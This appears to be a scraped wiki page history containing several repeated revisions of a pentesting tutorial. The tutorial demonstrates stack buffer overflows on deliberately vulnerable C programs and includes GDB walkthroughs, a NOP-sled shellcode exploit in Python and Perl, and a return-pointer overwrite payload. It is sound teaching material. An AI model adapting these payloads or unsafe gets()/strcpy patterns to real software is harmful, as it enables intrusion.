0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:55:12Z

AKofranek: /* Example 2: Execute your own shellcode */

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

== Example 1: Simple Game to Overwrite an Integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute Your Own Shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:54:54Z

AKofranek: /* Example 1: Simple game to overwrite an integer */

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

== Example 1: Simple Game to Overwrite an Integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute your own shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:54:11Z

AKofranek: /* Description */

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

== Example 1: Simple game to overwrite an integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute your own shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

